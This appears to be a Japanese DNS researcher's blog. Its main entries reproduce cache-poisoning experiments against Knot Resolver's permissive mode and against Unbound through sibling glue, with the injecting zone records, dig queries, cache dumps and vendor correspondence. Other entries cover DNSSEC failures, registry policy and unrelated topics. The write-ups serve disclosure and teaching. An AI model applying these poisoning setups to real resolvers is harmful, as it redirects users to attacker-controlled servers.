トップ 追記

インターノット崩壊論者の独り言


EPIC2014
Google Public DNS (8.8.8.8, 8.8.4.4) 経由では本サイトにアクセスできないよう措置させて頂いております。

2020-08-27 1.1.1.1 は大丈夫か?

Knot Resolver の危険なモード

Knot Resolver の permissive mode (寛容モード) は非常に危険なので、もしこれを普段使いしている人がいれば、即刻利用をやめることをお勧めします。

permissive mode は委譲を追いかける際に NS の A レコードが additional に付加されていたら、それをすべてノーチェックで信用することにより、検索を速くしようという趣旨のもののようです。

ふと悪い予感がしてある実験をしてみたところ、このモードが恐ろしく危険であることがわかりました。

以下はその実験の説明です。brau.jp へ毒入れを試みます。(すべて私が登録しているドメイン名です)

  1. 偽 brau.jp サーバへの誘導用ドメイン internat.jp を用意
    ~% dig @ns.internat.jp -t txt brau.internat.jp +norec
     
    ; <<>> DiG 9.9.5 <<>> @ns.internat.jp -t txt brau.internat.jp +norec
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53242
    ;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
     
    ;; QUESTION SECTION:
    ;brau.internat.jp.	IN TXT
     
    ;; AUTHORITY SECTION:
    brau.internat.jp.	300 IN NS ns.brau.jp.
     
    ;; ADDITIONAL SECTION:
    ns.brau.jp.		300 IN A 150.42.6.9
    
    これは internat.jp から brau.internat.jp の委譲応答ですが、同居ゾーンを用いて Additional Section に ns.brau.jp の偽の A レコードを加えてあります。これは glue ではないので安全に考慮した実装であれば無視すべきものです。本物の ns.brau.jp は 150.42.6.4 です。

  2. Knot Resolver で brau.internat.jp の TXT レコードを検索
    ~% dig @127.0.0.3 -t txt brau.internat.jp 
     
    ; <<>> DiG 9.9.5 <<>> @127.0.0.3 -t txt brau.internat.jp
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8904
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
     
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;brau.internat.jp.	IN TXT
     
    ;; ANSWER SECTION:
    brau.internat.jp.	60 IN TXT "brau.internat.jp"
     
    本物の ns.brau.jp = 150.42.6.4 に brau.internat.jp ゾーンはありません。この TXT は 偽 ns.brau.jp = 150.42.6.9 に用意した brau.internat.jp ゾーンが応答したものです。minimal response なので分かり辛いのですがこの時点で 偽 ns.brau.jp = 150.42.6.9 がキャッシュされ、それに誘導されたものと考えられます。

  3. Knot Resolver で brau.jp の SOA レコードもしくは NS レコードを検索
    ~% dig @127.0.0.3 -t soa brau.jp
    (snip)
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
     
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;brau.jp.		IN SOA
     
    ;; ANSWER SECTION:
    brau.jp.		120 IN SOA ns.brau.jp. tss.e-ontap.com. (
    				2020082501 ; serial
    				3600       ; refresh (1 hour)
    				600        ; retry (10 minutes)
    				86400      ; expire (1 day)
    				60         ; minimum (1 minute)
    				)
    
    これは brau.jp の NS をキャッシュに入れるためです。NS を直接問い合わせてもよいです。Answer Section の SOA は本物の ns.brau.jp 由来のものです。Minimal response で分かり辛いですが、Authority Section から brau.jp IN NS ns.brau.jp. が、Additional Section から ns.brau.jp IN A 150.42.6.4 が返ってきているはずです。(パケットダンプで確認済)
    しかし、権威あるサーバからの 150.42.6.4 はすでにキャッシュにある 150.42.6.9 を上書きしないようです。ここが問題。

  4. Knot Resolver で brau.jp の TXT レコードを検索
    ~% dig @127.0.0.3 -t txt brau.jp
    (snip)
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
     
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;brau.jp.		IN TXT
     
    ;; ANSWER SECTION:
    brau.jp.		60 IN TXT "NG"
    
    この Answer Section の TXT "NG" は偽 ns.brau.jp 由来のものです。ステップ 2 で注入された偽 A レコードで誘導された結果だと考えられます。

以上からわかることは permissive mode の Knot Resolver には任意のドメインのキャッシュポイズニングが可能だということです。

そこで、開発元の NIC.CZ に問い合わせたところ以下の返事がありました。

Documentation for version 5.1.1 (at https://knot-resolver.readthedocs.io/en/v5.1.1/config-dnssec.html#mode) describes that "permissive mode" accepts all glue records without checks. This is definition of cache-poisoning security hole, so we can conclude that the permissive mode works as intended - and that's why it is not enabled by default.

要約すると「permissive mode はすべてのグルーレコードをノーチェックで受け入れる。これはキャッシュポイズニング脆弱性を意味している。貴方の指摘はその仕様どおりだと言える。我々がこのモードをデフォルトにしていない理由でもある」という回答です。

私はそんなことは承知で質問したのです。設計の趣旨はあくまで委譲を追いかけるための情報として referral に付随する A レコード (これを彼らは glue と読んでいますがそれは定義の間違い) を効率よく利用するためであり、もしその A レコードが悪意あるものだった場合に被害を受けるのは問い合わせ対象のドメインに限定されているはずだと考えていました。

ところが私の実験では特定条件下に置かれたドメインだけでなく、任意のドメインにキャッシュポイズニングができてしまいました。これは彼らの意図 (intended) から外れているのではないでしょうか。

まあ本当のところを追求すのは面倒なのでやめておきますが、permissive mode が危険なことは彼らも認めているわけなので、実験目的以外に使用するのは止めましょう。改めて文書を見るとこう書いてあります。

Knot Resolver uses secure configuration by default, and this configuration should not be changed unless absolutely necessary

なお、nic.cz からのメールの最後にはこうありました。(1.1.1.1 は?)

On the other hand we have not seen anyone relying on permissive mode for along time, so we might just remove it in next releases.

p.s.

ところでこの件は DNS 温泉常連の大塚さんのこのツイートに端を発しています。

これは 1.1.1.1 で私の実験のステップ 2 と同じ現象が起きていることを意味しているものです。1.1.1.1 は Knot Resolver を使用していると言われているのですが、これだけ見ても危険ではないかと疑われます。(どういう攻撃が可能であるかは解説を控えておきます)

そして私のゼミの M2 の太田くんから permissive mode で大塚さんの事例が再現できたという報告を受けたのが今回の実験の発端でした。

私の実験通りのことが 1.1.1.1 でも起きるとすれば大変なことなのですが、今のところ再現はできていません。さすがに permissive mode をそのまま運用しているわけではないでしょうが一抹の不安が残るところです。

labs.nic.cz からのメール

labs.nic.cz にブログの翻訳を送って意見を求めたところ以下の返信がありましたので転載しておきます。(転載は彼らも歓迎とのことです)

私の記事はあくまで permissive mode が危険なことを確認したまでであり、normal mode までが危険だという主張はしていないことをここに記しておきます。彼らの文書からはどれほど危険なのかが読み取れなかったので実験を行い、このモードに関する注意喚起の意味でブログを書いたまでです。

From: Petr Špaček <petr.spacek @ nic.cz>
To: "T.Suzuki" <tss @ e-ontap.com>
Cc: knot-resolver @ labs.nic.cz, Masato OTSUKA , Kenya Ohta 
Subject: Re: [knot-resolver@labs] a vulnerability of permissive mode
Date: Fri, 28 Aug 2020 09:22:35 +0200
Organization: CZ.NIC
  
Hello,
 
and thank you for sharing link to translation!
 
Unfortunatelly nobody in our team speaks Japanese so we are not able to write an explanatory article with reaction. For that reason I ask you to amend the article so it starts with information that _default is secure_ and that _only an explicit configuration can make it insecure_.
 
 
Rationale for this request:
 
Translation of the current version seems unnecessairly alarmist to me. From my perspective the current text says:
- Step 1: Explicitly configure Knot Resolver into insecure mode (which is documented).
- Step 2: Test that the explicit configuration is really insecure.
 
What is the purpose? I'm really confused, and I believe some readers might be confused as well.
 
The only explanation I could see is that documentation might be unclear in some aspect. If it is that case please be constructive and point out what exactly what is unclear/confusing so we can fix it. Articles with statements like "it's too much trouble to pursue the truths" do not help to improve software or documentation quality.
 
 
In similar spirit there could be an article saying "we disabled DNSSEC validation, and then our tests shown that this is insecure configuration, so do not use this configuration". It is exactly the same logic as the article above.
 
 
Also your article seems to imply that 1.1.1.1 should behave exactly the same as Knot Resolver, which is incorrect assumption. Cloudflare is heavily customising our code so they can provide features unique to 1.1.1.1. This naturally causes divergence in behavior.
 
In other words 1.1.1.1 is not equal to latest publicly available release of Knot Resolver. I would appreciate if you article clarified that aspect as well.
 
I ask you to amend the article as indicated above and thank you for your time.
Petr Špaček  @  CZ.NIC

2020-07-04 遠隔授業用に

DNS の仕組みを解説するスライドを作成した

私は大学で「コンピュータネットワーク」という授業を担当していたりします。例年だと教室の大きなホワイトボード全面を使って DNS の仕組みを解説しているのですが、今年は遠隔授業のため書画カメラを使って行おうとしたのですがうまくいきませんでした。

やむなく縦横無尽に図を描きながら講義する楽しみは諦めて、Keynote のスライドで講義することにしました。

ということで、せっかく苦手なパソコンを駆使して作成したスライドをここに公開しておきます。なお解説音声は公開しませんので悪しからず。(画像クリックでスライドへ)

DNS mechanism
本日のツッコミ(全1件) [ツッコミを入れる]

tss [forwarder は意味が混乱しているので注意が必要です。 http://www.e-ontap.com/dns..]


2020-06-23 ちょいとポイズニング

Sibling domain の glue に毒を入れる模擬実験

黒塗りの DNS の論文に書いた話のわかりやすい裏付けとして、sibling domain (兄弟ドメイン) の glue キャッシュの上書きを模擬的に実験しました。

以下は実験用のゾーンです。TLD として nom、悪意ある SLD として wine.nom、そして偽 nom を用意します。wine.nom には nom の NS である a.nic.nom を NS に加えておきます。

;172.18.1.1
;nom zone (before)
;
nom.                    86000   IN      NS      a.nic.nom.
a.nic.nom.              86400   IN      A       172.18.1.1
;
wine.nom.               86400   IN      NS      ns.wine.nom.
wine.nom.               86400   IN      NS      a.nic.nom.
ns.wine.nom.            86400   IN      A       172.18.1.2
 
;172.18.1.2
;fake nom zone
;
nom.	300	IN	NS	ns.fake.nom.
*.nom.	300	IN	A	172.18.1.2

まず、キャッシュサーバ (今回は Unbound 1.10) から wine.nom とは別の beer.nom に関する問い合わせを行っておきます。

root@server_unbound1:/ # dnsqr a www.beer.nom
1 www.beer.nom:
46 bytes, 1+1+0+0 records, response, noerror
query: 1 www.beer.nom
answer: www.beer.nom 60 A 172.18.1.2

beer.nom を名前解決する過程でキャッシュには root から nom への委譲で得られる a.nic.nom の A レコード 172.18.1.1 が入ります。これは RFC 2181 のキャッシュ優先度ランキングにおいて最下位のキャッシュです。

root@server_unbound1:/ # unbound-control dump_cache
START_RRSET_CACHE
;rrset 86388 1 0 1 0
a.nic.nom.	86388	IN	A	172.18.1.1
(snip)

次に偽応答を模擬するために nom zone を書き換えます。

;nom zone (after)
;
nom.                    86000   IN      NS      a.nic.nom.
a.nic.nom.              86400   IN      A       172.18.1.2

そして wine.nom の名前解決をキャッシュサーバに要求します。

root@server_unbound1:/ # dnsqr a www.wine.nom
1 www.wine.nom:
46 bytes, 1+1+0+0 records, response, noerror
query: 1 www.wine.nom
answer: www.wine.nom 10 A 172.18.1.2

このとき nom ゾーンはお節介にも wine.nom への委譲応答に含まれる a.nic.nom について偽の a.nic.nom の A レコードを Additional Section で返します。(本物ですが偽応答と差し替えることができるので模擬的に偽応答と同等と考えられます)

この A レコードは nic.nom のグルーではありますが、wine.nom のグルーではないので、ここで現れるべきものではないのです。(ちなみに実装は NSD を用いています)

root@server_unbound1:/ # dnsq a www.wine.nom 172.18.1.1
1 www.wine.nom:
99 bytes, 1+0+2+2 records, response, noerror
query: 1 www.wine.nom
authority: wine.nom 86400 NS ns.wine.nom
authority: wine.nom 86400 NS a.nic.nom
additional: ns.wine.nom 86400 A 172.18.1.2
additional: a.nic.nom 86400 A 172.18.1.2

さてお立ち会い。ここでキャッシュをダンプしてみると、172.18.1.1 だった a.nic.nom のキャッシュが TTL が切れてもいなかったのに上書きされています。

root@server_unbound1:/ # unbound-control dump_cache
START_RRSET_CACHE
;rrset 296 1 0 3 0
ns2.wine.nom.	296	IN	A	172.18.5.2
;rrset 86396 1 0 1 0
a.nic.nom.	86396	IN	A	172.18.1.2
(snip)

そして念押しで存在しないはずの名前を問い合わせてみると、キャッシュサーバは偽 nom ゾーンに問い合わせてその答えを返してきます。

root@server_unbound1:/ # dnsqr a nonexistent.nom
1 nonexistent.nom:
49 bytes, 1+1+0+0 records, response, noerror
query: 1 nonexistent.nom
answer: nonexistent.nom 300 A 172.18.1.2

結論: 委譲応答に余計についてくる sibling domain の A レコードを受け入れるキャッシュサーバは危険です。真のグルー以外を受け入れてはいけません。(残念ながらメジャーな実装たちはこの危険な A レコードを受け入れます。)


2020-05-27 JPDIRECT への返信

ホスト情報取扱いの改善のお願いをしてみた

「無駄で危険なホスト情報の話 (とりいそぎ)」の続きです。JPDIRECT へ以下の返信をしました。

お世話になっております。
 
以下、了解しました。ありがとうございます。
 
jp ドメインは net/com/org よりは綺麗だと認識していますので、彼らに対して改善のイニシャティブをとって頂けると嬉しいです。
 
com/net/org の運用が jp よりなぜ危険かは私から説明するまでもないでしょう。
jp はそのために掃除がなされてきたのですから。
 
ただ、EPP についてはその解釈の危険性の認識が jp (JPRS さん) の運用を含めて認識が不十分で危険だと思いますので、変更の働きかけについてご検討をお願いしたいと思います。
 
参考: Sibling glue は DNS 第一フラグメント便乗攻撃に脆弱
   http://www.e-ontap.com/dns/csec87/#(23)
   (論文 http://www.e-ontap.com/dns/csec87/paper.html)

続きはまた

5/29 追記: JPDIRECTからの返信

ご指摘の事象を確認の上、適切な場での紹介など、対応を検討するよう
申し添えた上で、社内共有いたします。
 
なお、ご指摘の事象は他レジストリが管理するTLDの仕様によるものであり、
他レジストリにおける仕様変更はJPRSからはお約束しかねる旨、ご理解くだ
さいますようよろしくお願いいたします。
 
今後ともよろしくお願い申し上げます。

2020-05-22 良いのかこれで?

無駄で危険なホスト情報の話 (とりいそぎ)

無駄で危険なホスト情報の話をしたいのですが、まずは JPDIRECT (JPRS) に質問していた件に対して回答があったので掲載しておきます。どういう話なのかは追ってここに詳しく書きたいと思います。

私から JPDIRECT への質問 (JPDIRECT のウェブフォームより)

tkix.net のネームサーバに b.ns.spam18.net を付け加えようとしたところ、エラーが出て登録できませんでした。エラーが不親切 (注:使用できない文字が含まれているか、未登録の情報を入力しているため、申請できません) で理由がわかりませんでしたが、超能力を駆使して b.ns.spam18.net のホスト情報を登録してみました。たまたま spam18.net も私が管理者で御社をレジストラとしていたのでホスト情報の登録は出来ました。この状態で上記のネームサーバ変更を行ったところ、なぜか無事に変更完了しました。

質問です。
なぜ、glue でも sibling glue でもない不要な b.ns.spam18.net のホスト情報登録が必要なのでしょうか。そしてなぜ net がこれを受け入れ、委任応答 (referral の additional) にまで (sibling glue) でもないのに出してくるのでしょうか

JPDIRECT からの回答

                                      株式会社日本レジストリサービス
                                            JPDirectお客様サポート係 
 
JPDirectをご利用いただき、誠にありがとうございます。
 
お問い合わせいただいておりました、ホスト情報の登録について、回答
いたします。
 
「.net」は米国Verisign社がレジストリとして管理しているドメイン名ですが、
レジストリより.netドメイン名に対して.netのネームサーバーを登録する
際には、事前にホスト情報を登録するように要求されているため、
レジストラであるJPRS、またその指定事業者であるJPDirectでもその仕様に
従ってホストの情報登録をお願いしているものです。
(なお、.comでも同様の仕様となっております)
 
  ※本件についてレジストリ(Verisign)の定めている仕様や規程でご確認
    いただける資料がないか、JPRSのgTLDレジストラ部門にも確認いたしま
    したが、レジストリから一般向けに公開されている資料がないとの回答
    がございました。
  
なお、ほとんどのgTLDドメイン名は、レジストリ・レジストラ間通信のための 
プロトコルとしてEPPを利用しています。 
EPP上でのホスト情報の取り扱いについては、以下のRFCで規定されています。 
 
  Extensible Provisioning Protocol (EPP) Domain Name Mapping 
   <https://tools.ietf.org/html/rfc5731>
 
この仕様にのっとり、gTLDの場合、 
    内部(internal)ホスト:ドメイン名と同じTLDを用いたホスト名 
    外部(external)ホスト:ドメイン名とは異なるTLDを用いたホスト名 
という定義をしており、TLDが同じ場合はすべて内部ホストとして扱い、
「内部ホストはホスト情報の登録が必要」という仕様となっている
レジストリが多いようです。 
 
以上、ご確認の程よろしくお願いいたします。

EPP に問題があるかも。そして内部名の定義の問題。話の続きはまた今度。

本日のツッコミ(全1件) [ツッコミを入れる]

tm [JP レジストリとしてのJPRSはここに書かれたcom/netとは異なる運用になっています。 そのことについて..]


2020-03-27 憶測ばかりしていないで

感染シミュレーションしてみよう

以前、浸透シミュレーションというのをやってみましたが、それに用いたマルチエージェントシミュレータ artisoc の開発元である構造計画研究所さんが「流行伝搬モデル」を公開してくださっています。

これでウイルス感染の簡易なシミュレーションを行うことが出来ます。詳しい説明は構造計画研究所さんにお任せして以下結果だけ紹介しておきます。尚、これが今話題のウイルスの特性を表しているわけではありませんのでご注意ください。あくまで一般的なモデルによるものです。



シミュレーションの動き

左上が人 (エージェント) の動きです。緑が感受性者(Susceptible) =まだ病気に感染していなくて感染の可能性のある状態の人、赤が感染者(Infectious) =病気に感染して、感染させる能力のある状態の人、青が除去者(Removed) =病気から回復して免疫保持した状態、あるいは物理的制度的に隔離されて感染させる能力を封じられた状態、あるいは病気により死亡した状態の人です。

左下は基本再生産数 (一人の感染者が平均何人の感染者を生むか)、右のグラフは左上のエージェントたちの数を表しています。



I. 再感染しない場合 (SIRモデル) のシミュレーション

(1) 基準として移動速度 0.5 の SIR モデルを動かしてみた。

人がシミュレーション 2 ターンに 1 マス動く場合です。他のパラメータは図を参照ください。



(2) 移動速度を落とした場合のシミュレーション (移動速度 0.1)

爆発的感染は防げますが、だらだらと感染が続くのがわかります。



II. 再感染する場合 (SIRSモデル) のシミュレーション

(1) 免疫がすぐ消える場合どうなるんだという質問に答えてみた。
まずは免疫期間 20 ターン



(2) 免疫期間を延ばしてみたシミュレーション (免疫期間 180)

180ターンまで延ばしてみた。



(3) 免疫期間を延ばしてみたシミュレーション (免疫期間 500)

500ターンまで延ばしてみた。


2020-02-24 検疫所がドメインを検疫される事態に

厚生労働省検疫所が DNSSEC の運用に失敗

厚生労働省検疫所のドメイン forth.go.jp の DNSSEC 署名が 2 月 23 日 0 時 10 分に署名の期限が切れて現在 (2/24 22:35) も署名検証に失敗する状態になっています。新型コロナウイルス COVID-19 の影響でしょうか。 (追記: 20200225084916 UTC に再署名で復活)

DNSSEC の署名を検証している DNS キャッシュサーバ (1.1.1.1 とか 8.8.8.8 とか IIJ とか) をお使いの方々はアクセスできないと思います。必要なときに貴重な情報にアクセスできないのは困りますね。


drill によるトレース

~% drill -t -S forth.go.jp soa
;; Number of trusted keys: 1
;; Chasing: forth.go.jp. SOA
 
DNSSEC Trust tree:
forth.go.jp. (SOA)
|---DNSSEC signature has expired:
forth.go.jp.	600	IN	RRSIG	SOA 8 3 600 20200223001003 20190228001003 64740 forth.go.jp. aSMXSVJX6QLDYlz2YWtFKTnHJU6OEpqGa9h+EC31MFN2kdgC72rVzI034VIetNDHtyoNMdYMLppf8LpFs3ZvF9ZFPUIINQ6kUL1LaFmvEiIgHe6bWS72Uhzdh/3tFqsAAKppj6GBZvyZ8T612uDbqetikYCgduGZcNf7C/h/CEk=
For RRset:
forth.go.jp.	600	IN	SOA	a1-134.akam.net. root.forth.go.jp. 2019030101 3600 7200 1209600 600
With key:
forth.go.jp.	600	IN	DNSKEY	256 3 8 AwEAAcCn8faiJWlroR4GIGmag7BwoehMKjHMgfXZPDPX3rkZkYVtVzxyUQeLNdCeaNuooORh+iviTzkYNTcR8V+VHiSdW/J7u0hodauBEc4VPtoXz81eeslvx1jwe+hJYivq4lPHuxqh4Id/scTBDTU+KqmmTdYhHTUANC9KiaVMvehZ ;{id = 64740 (zsk), size = 1024b}
|---forth.go.jp. (DNSKEY keytag: 64740 alg: 8 flags: 256)
    |---DNSSEC signature has expired:
forth.go.jp.	600	IN	RRSIG	DNSKEY 8 3 600 20200223001003 20190228001003 49357 forth.go.jp. NRCHOA15fTkxlW3G09DN/qv/6frRq8LBxT2nRwaLwpFnLiyj91KGwH19qyZfPpczObjjDV9MOcxgAEh6cI6xfq2DYBvQMXgP3R3F5YHISup5ZCgt5xiqURM9XSLinye8+xpeBY6WWF8TGDP1X8MnPrg0thjv8XTvd8345ZXCwwO/XEelhviaNdcm3IfoMxcAAZ18+2XJ71evy+JpmUlHDn9AQh51DcGxJUrUOP7OXQBNfzZ2XNujvCBPedFQ/hqNMXBMJ34ypfk7GkSkh2d+hxsrjpHt0FsmC9LMHGdL6j5RFa6aGvd2F/6hSnawd5eojqMUMqZIFfCivYxHdiKZpQ==
For RRset:
forth.go.jp.	600	IN	DNSKEY	256 3 8 AwEAAcCn8faiJWlroR4GIGmag7BwoehMKjHMgfXZPDPX3rkZkYVtVzxyUQeLNdCeaNuooORh+iviTzkYNTcR8V+VHiSdW/J7u0hodauBEc4VPtoXz81eeslvx1jwe+hJYivq4lPHuxqh4Id/scTBDTU+KqmmTdYhHTUANC9KiaVMvehZ ;{id = 64740 (zsk), size = 1024b}
forth.go.jp.	600	IN	DNSKEY	257 3 8 AwEAAey5c0+CPF4gPQpB0jo4nW8UkTxbNa5avUcaVCkCXuASxV+Y28wTwcM5L4oAjft5B/Vq105eDC9FCJnm4Rq/F2wrV//zhD9w1bvTUuQ4ecYCLoOvMULJXxB4BPjN9HSTAzobKsD74Sd3Q5ruW1wZiD3sixxKMpccermXJaOfHBPWid/sL1iFIjGXWbr3MF8zXHc5AdSwVVdU4b74mJ5SWgDplJq81uMikzmMxWI3gFej+sn4t1MABLfL2n1W/e8oAfStqGLcbpsbaMFCrTUVwSe/KnyEPhRQVaDaAb8q6j6xnMD3+/YiSWJ3U25s63T/UUd7ExgO77eIi+/okmysb80= ;{id = 49357 (ksk), size = 2048b}
With key:
forth.go.jp.	600	IN	DNSKEY	257 3 8 AwEAAey5c0+CPF4gPQpB0jo4nW8UkTxbNa5avUcaVCkCXuASxV+Y28wTwcM5L4oAjft5B/Vq105eDC9FCJnm4Rq/F2wrV//zhD9w1bvTUuQ4ecYCLoOvMULJXxB4BPjN9HSTAzobKsD74Sd3Q5ruW1wZiD3sixxKMpccermXJaOfHBPWid/sL1iFIjGXWbr3MF8zXHc5AdSwVVdU4b74mJ5SWgDplJq81uMikzmMxWI3gFej+sn4t1MABLfL2n1W/e8oAfStqGLcbpsbaMFCrTUVwSe/KnyEPhRQVaDaAb8q6j6xnMD3+/YiSWJ3U25s63T/UUd7ExgO77eIi+/okmysb80= ;{id = 49357 (ksk), size = 2048b}
    |---forth.go.jp. (DNSKEY keytag: 49357 alg: 8 flags: 257)
    |---forth.go.jp. (DS keytag: 49357 digest type: 2)
        |---jp. (DNSKEY keytag: 2661 alg: 8 flags: 256)
            |---jp. (DNSKEY keytag: 39595 alg: 8 flags: 257)
            |---jp. (DS keytag: 39595 digest type: 2)
                |---. (DNSKEY keytag: 33853 alg: 8 flags: 256)
                    |---. (DNSKEY keytag: 20326 alg: 8 flags: 257)
No trusted keys found in tree: first error was: DNSSEC signature has expired
;; Chase failed.

1.1.1.1 の応答

~% drill -D www.forth.go.jp @1.1.1.1
;; ->>HEADER<<- opcode: QUERY, rcode: SERVFAIL, id: 15363
;; flags: qr rd ra ; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 
;; QUESTION SECTION:
;; www.forth.go.jp.	IN	A
 
;; ANSWER SECTION:
 
;; AUTHORITY SECTION:
 
;; ADDITIONAL SECTION:
 
;; Query time: 13 msec
;; SERVER: 1.1.1.1
;; WHEN: Mon Feb 24 22:36:48 2020
;; MSG SIZE  rcvd: 33

DNSViz

DNSSEC署名検証しているか確認するページを作りました

ふと IIJ が DNSSEC 署名検証を始めたことを思い出して、IIJ Public DNSサービスFirefox の DoH (DNS over HTTPS) サーバとして設定し、上記の www.forth.go.jp をブラウザで見たところ閲覧できてしまいした。

これはおかしい、ひょっとして IIJ が (中の人はそういうことはしないつもりだとおっしゃっていましたが) RPZ で検証から除外しているのかと思い、署名検証失敗を確認できるサイトを作りました。以下をお試しください。署名検証が適切になされていれば見られないはずです。

http://dnssec-failed.mufj.jp

しかし、このサイトもやはり IIJ の DoH を設定した Firefox で見えてしまいました。署名検証しているはずなのに検証失敗するはずのサイトが見えてはいけないだろうと調べたところ、原因は DoH を有効にしたときのデフォルトが network.trr.mode = 2 となっていたことでした。2 では DNS Over HTTPS を優先するが、失敗すると DoH から OS に設定されたリゾルバにフォールバックするとのこと。私が普段使用しているのは DNSSEC を無効にした Unbound だったので名前解決できてしまっていたわけです。これでは DNSSEC 対応している DoH を使う意味がありませんね。

network.trr.mode = 3 とすると無事?に http://dnssec-failed.mufj.jpforth.go.jp も見られなくなったのですが、暫くするとあらゆるサイトが見られなくなりました。これは network.trr.bootstrapAddress を設定していなかったのが原因でした。network.trr.uri に設定された URI のドメイン名が DoH で引けなくなっていたのですね。(なお bootstrapAddress は Firefox 74 で設定不要になるとのこと)


参考:


2020-01-24 DNSSEC 推進に本当に必要なこと

「つぶらな瞳で考える、DNSSECの普及に必要な何かは何か?」への暖かいエール

JANOG 45 Meeting (1/22 - 1/24) はとても有意義でした。開催に尽力された方々には感謝の念でいっぱいです。札幌の夜も堪能させて頂きました。(酔って書いてる)

今回一番楽しみにしていたセッションは 2 日目の「つぶらな瞳で考える、DNSSECの普及に必要な何かは何か?」でした。登壇者の皆さん、とても良いセッションでした。ここに再び暖かいエールを贈らせて頂きたいと思います。

「DNSSEC はすべての攻撃は防げないが防御ゼロよりは良い」という心強い推進論を拝聴しました。しかし、

  ドメインの署名率 は 3% (日本は 500?)
  検証しているリゾルバ 24.6% (日本は 9%)

とのことでした。計算してみると、DNSSEC で守られているのは 0.03*0.246=0.7% (日本は 500/1,500,000*0.09=0.3%) ということになりますかね。とても残念な状況ですね。

一方、DNSSEC 対応の TLD 配下のドメインはすべからく第一フラグメント便乗攻撃に対して脆弱になっています。第一フラグメント便乗攻撃に対する防御のエントロピーは 16bit + α、つまりカミンスキー攻撃 (2014) で大騒ぎしてポートランダマイズする前と同じです。(ポートランダマイズは第一フラグメント便乗攻撃に非力)

2014年に JPNIC、JPRS、JPCERT/CC さんたちが以下のような注意喚起を行っています。
<<< JPCERT/CC Alert 2014-04-15 >>> DNS キャッシュポイズニング攻撃に関する注意喚起

なぜカミンスキー攻撃でこのようにインターノットの危機を憂いた方々が DNSSEC 推進にあたって第一フラグメント便乗攻撃を注意喚起して対策を促さないのでしょうか? 0.7% (日本 0.4%) を守るために、99.3% (日本99.7%) が DNSSEC によって脆弱になっている状況をなぜ無視できるのでしょうか?

それから、「DNSSEC の大きな応答による DNS アンプ攻撃は問題としなくて良いのか?」という私の質問に「DNSSEC 以外にも攻撃の踏み台はいくらでもある。」との回答を頂きましたが、、、

JPNIC、JPRS、JPCERT/CC さんたちは、2013 年に、
<<< JPCERT/CC Alert 2013-04-18 >>> DNS の再帰的な問い合わせを使った DDoS 攻撃に関する注意喚起
という注意喚起をしてくださっています。

おかげ様でオープンリゾルバはかなり減ってきています。一方で攻撃者はわざわざオープンリゾルバを探さなくても、増加中の DNSSEC 署名サイト、DNSSEC 署名 TLD を踏み台にすることができます。しかもこれらは安易にブロックするわけにはいきません。より悩ましい攻撃の踏み台となりつつあります。推進すればするほど脅威となります。これを無視するのはダブルスタンダード以上の問題ではないでしょうか。

結論:

DNSSEC はキャッシュポイズニングで悪意あるサイトに誘導されるのを防ぐのに有効なのは同意です。(DNSSEC は失敗プロジェクトという私の普段の主張 は今回棚上げしておきます)
そうであるならば、、、

  1. DNSSEC 署名ドメインもキャッシュポイズニングされると、名前が引けなくなる DoS となります。 その検知と対策方法を示すべきです。
  2. JP の運用は危険です。私の指摘に壇上から支持頂きましたが NSEC3 の opt-out 運用をやめるべきです。また当然ながらフラグメント対策も必要ですね。
    (彼らは何をすべきかわかっているはずだがなぜか放置状態)
  3. 第一フラグメント便乗攻撃への注意喚起を行うべきです。我々が示したように対策は色々あります。JPRS の藤原さんの提案もあります。
    (現状は署名していないドメイン、検証していないキャッシュサーバは非常に脆弱です)
  4. DNSSEC は TCP でやってください。
    大きな UDP でキャッシュポイズニングや DNS アンプ攻撃の脅威となることを避けるべきです。TCP でやればいいじゃないですか。
    (第一フラグメント便乗攻撃を懸念して従来のデフォルト EDNS0 buffer size 4096 byte を今年予定されている DNS Flag Day 第二弾 (公式,RIPE78) で 1232 byte にしようとしているようですが未練がましい大きさですね。伝統的な DNS に戻って UDP は 512 byte までとして、DNSSEC は TCP でやればいいじゃないですか。)

これらを進めるのは DNSSEC 推進にとって不都合な真実だったりするのでしょうか? ぜひ問題点を解決しつつ 100% 近いドメインが署名し、100% 近いリゾルバが検証するよう頑張って頂きたいと思います。とても難しいと思うし、できなかったら却って危険なわけですけれど前向きがよいですよね。


参考: DNSSEC はなぜダメなのか


2019-12-13 DNS は酒と温泉の肴

温泉は良いぞ

DNS 温泉ではこれまで、猿投温泉(愛知)、玉名温泉(熊本)、熱海温泉、山代温泉(石川)、猿投温泉(二回目)、下呂温泉(岐阜) と回ってきて、次回は北海道の定山渓温泉の予定です。DNS 温泉は私が酒と温泉を楽しみたくてやっているようなものです。DNS 温泉 Advent Calendar 2019 の今日のネタに私がこれまで行った中で気に入った温泉をいくつか簡単に紹介します。

1. 2. 3. 4. 5. 6. 7.

並べた写真は順に以下の温泉です。

  1. 馬曲温泉(長野) : 山の上からの眺望がとても良い温泉
  2. 加賀井温泉 一陽館(長野) : 松代大本営近くのとても鄙びた赤い錆色の湯が気持ち良い温泉
  3. 鹿塩温泉 山塩館(長野) : 山塩の採れる山間のしょっぱい湯の温泉
  4. 新穂高温泉 槍見館(岐阜) : 槍ヶ岳が眺望できる露天風呂のある温泉
  5. 別府温泉 シーサイドホテル美松(大分) : 別府湾の日の出の眺望が素晴らしい温泉
  6. 熱海温泉 伊豆山研修センター(静岡) : DNS 温泉 2 で利用した研修に都合の良い温泉
  7. 下呂温泉 木曾屋(岐阜) : DNS 温泉 6 で利用した畳敷の温泉

